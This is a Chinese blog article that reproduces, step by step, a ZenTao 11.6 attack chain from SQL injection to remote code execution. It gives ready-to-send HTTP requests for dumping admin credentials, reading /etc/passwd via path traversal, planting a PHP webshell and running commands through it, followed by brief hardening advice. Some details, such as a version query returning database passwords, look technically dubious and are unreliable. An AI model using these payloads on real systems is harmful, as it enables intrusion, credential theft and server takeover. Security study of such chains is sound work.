三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

禅道11.6漏洞链深度剖析:从SQL注入到系统沦陷的实战路径

在开源项目管理领域,禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时,攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路:从低危的SQL注入开始,通过参数传递机制缺陷逐步突破边界,最终完成远程代码执行的完整过程。

1. 环境搭建与初始侦查

搭建测试环境建议使用XAMPP集成包配合禅道11.6版本,确保与漏洞环境完全匹配。关键配置要点包括:

  • PHP版本需锁定5.6.x(与漏洞触发条件强相关)
  • MySQL启用宽松模式(模拟真实企业环境)
  • 关闭所有PHP安全过滤扩展(如magic_quotes_gpc)

初始信息收集技巧

GET /zentao/index.php?mode=getconfig HTTP/1.1 Host: target.com

这个看似无害的版本查询请求,实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到:

"dbHost":"localhost", "dbUser":"root", "dbPassword":"zentao123", "installRoot":"C:\\xampp\\zentao"

2. 参数传递机制的安全盲区

禅道的路由解析存在设计缺陷,其router.class.php中PATH_INFO模式使用连字符分割参数,但未对参数做类型校验。观察以下关键代码段:

// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts = explode('-', $pathInfo); $this->moduleName = $parts[0]; $this->methodName = $parts[1]; // 无过滤直接赋值 }

这种宽松处理导致攻击者可以构造特殊参数链,例如:

api-getModel-api-sql-sql=[注入语句]

实际形成的方法调用链为:

  1. 调用api模块的getModel方法
  2. 在getModel中继续调用api模块的sql方法
  3. 将sql参数直接拼接查询

3. SQL注入的精准利用

通过前期的路由分析,构造突破认证的注入Payload:

GET /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user+where+account%3d'admin' HTTP/1.1

关键突破点在于api/model.php中的危险逻辑:

public function sql($sql) { if(stripos($sql, 'select') === 0) { return $this->dao->query($sql); // 直接执行未过滤 } }

获取管理员凭证后,攻击者通常会进行以下操作:

  1. 修改会话令牌维持访问
  2. 提取其他系统用户信息用于横向移动
  3. 查询数据库配置为后续渗透做准备

4. 文件操作漏洞的连锁反应

利用已获取的权限,通过文件读取漏洞获取系统关键信息:

GET /zentao/api-getModel-file-parseCSV-fileName=../../../../etc/passwd HTTP/1.1

漏洞根源在于file/model.php中的路径处理缺陷:

public function parseCSV($fileName) { $content = file_get_contents($fileName); // 直接读取 return explode("\n", $content); }

虽然系统有parsePathInfo()函数进行过滤,但可通过以下方式绕过:

  • 使用多重../跳转目录
  • 利用Windows特性(如C:\windows\win.ini
  • 结合编码混淆(如URL编码、双重编码)

5. 实现RCE的终极突破

组合利用文件写入和包含漏洞完成代码执行,分两个阶段实施:

阶段一:植入Webshell

POST /zentao/api-getModel-editor-save-filePath=shell.php HTTP/1.1 <?php system($_GET['cmd']);?>

阶段二:触发执行

GET /zentao/api-getModel-api-getMethod-filePath=shell.php/1?cmd=whoami HTTP/1.1

技术原理

  1. editor/model.php中的save方法未校验文件内容
  2. helper.class.php的import方法存在动态包含漏洞
  3. 通过dirname()函数特性绕过路径检查(需多级目录)

6. 防御策略与加固方案

针对此类漏洞链,建议实施分层防御:

代码层防护

// 安全的参数处理示例 function safeParam($input) { if(preg_match('/\.\.|\0|\'/i', $input)) { throw new Exception('Invalid input'); } return realpath($input); }

系统层加固

  • 禁用危险函数(如file_get_contentssystem
  • 配置open_basedir限制文件访问范围
  • 对数据库操作强制使用预处理语句

运维监控建议

  1. 部署WAF规则拦截异常参数模式
  2. 监控敏感文件变更(如.php文件创建)
  3. 建立SQL注入尝试的实时告警机制
← 返回列表